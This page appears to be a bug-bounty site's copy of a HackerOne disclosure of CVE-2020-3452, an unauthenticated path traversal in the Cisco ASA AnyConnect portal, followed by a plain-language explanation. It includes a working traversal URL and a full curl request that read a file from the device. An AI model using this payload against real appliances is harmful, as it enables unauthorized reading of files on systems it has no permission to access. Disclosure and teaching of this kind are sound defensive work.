Skip to content
Path traversal Disclosed report Beginner CVE-2020-3452

[CVE-2020-3452] Unauthenticated file read in Cisco ASA

A Cisco ASA device was vulnerable to CVE-2020-3452, an unauthenticated path traversal in the AnyConnect web portal that lets a remote user read files on the appliance. The reporter confirmed it on a live host and states that anyone can read any file present on the server.

mzfr Follow

Originally disclosed on HackerOne

  • Disclosed after 2 months

Hey,

I found out that host ████████.mil was vulnerable to CVE-2020-3452.

You can test it by visiting the URL:

https://██████████.mil/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua

To try it with CURL please run the following command:

curl -i -s -k  -X $'GET' \
    -H $'Host: ███████.mil' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-Fetch-Site: none' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Dest: document' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' \
    $'https://████████.mil/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua'

███████

Reference:

Impact

Anyone can read any file present on the server.

The original report as published on HackerOne, by mzfr. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the AnyConnect oem-customization endpoint passes a user-supplied resource name to the filesystem without properly blocking path traversal sequences.

Impact

An unauthenticated attacker can read any file present on the server.

What the attacker needed

Network access to the ASA web portal; no authentication needed

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The web login page for Cisco's VPN software (AnyConnect) accepts a request that names a file to show. By putting '..' sequences in that name, a visitor can step outside the folder the page is meant to serve and ask for other files on the device. No login is needed, so anyone who can reach the page can read files.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by mzfr

View all

5 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.